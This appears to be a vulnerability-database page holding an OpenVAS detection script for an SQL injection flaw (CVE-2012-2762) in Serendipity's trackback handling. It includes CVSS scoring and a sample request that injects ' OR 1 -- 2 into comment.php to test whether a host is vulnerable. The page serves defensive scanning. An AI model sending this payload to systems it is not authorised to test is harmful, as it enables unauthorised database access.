Lucene search

K
openvasCopyright (C) 2012 Greenbone AGOPENVAS:1361412562310103526
HistoryJul 25, 2012 - 12:00 a.m.

Serendipity 'functions_trackbacks.inc.php' SQLi Vulnerability

2012-07-2500:00:00
Copyright (C) 2012 Greenbone AG
plugins.openvas.org
14

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.3 High

AI Score

Confidence

Low

0.004 Low

EPSS

Percentile

74.3%

Serendipity is prone to an SQL injection (SQLi) vulnerability
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:s9y:serendipity";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103526");
  script_cve_id("CVE-2012-2762");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2024-06-27T05:05:29+0000");

  script_name("Serendipity 'functions_trackbacks.inc.php' SQLi Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53620");
  script_xref(name:"URL", value:"https://github.com/s9y/Serendipity/commit/87153991d06bc18fe4af05f97810487c4a340a92#diff-1");
  script_xref(name:"URL", value:"http://blog.s9y.org/archives/241-Serendipity-1.6.2-released.html");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23092");

  script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
  script_tag(name:"creation_date", value:"2012-07-25 14:02:47 +0200 (Wed, 25 Jul 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_active");
  script_family("Web application abuses");
  script_tag(name:"solution_type", value:"VendorFix");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("serendipity_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Serendipity/installed");

  script_tag(name:"solution", value:"Updates are available, please see the references for details.");
  script_tag(name:"summary", value:"Serendipity is prone to an SQL injection (SQLi) vulnerability
  because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.");

  script_tag(name:"impact", value:"A successful exploit may allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities
in the underlying database.");

  script_tag(name:"affected", value:"Serendipity 1.6.1 is vulnerable, other versions may also be affected.");
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");


if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);

url = dir + '/comment.php?type=trackback&entry_id=1&url=%27%20OR%201%20--%202';

if(http_vuln_check(port:port, url:url,pattern:"<error>1</error>",extra_check:"trackback failed")) {

  security_message(port:port);
  exit(0);

}

exit(0);

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7.3 High

AI Score

Confidence

Low

0.004 Low

EPSS

Percentile

74.3%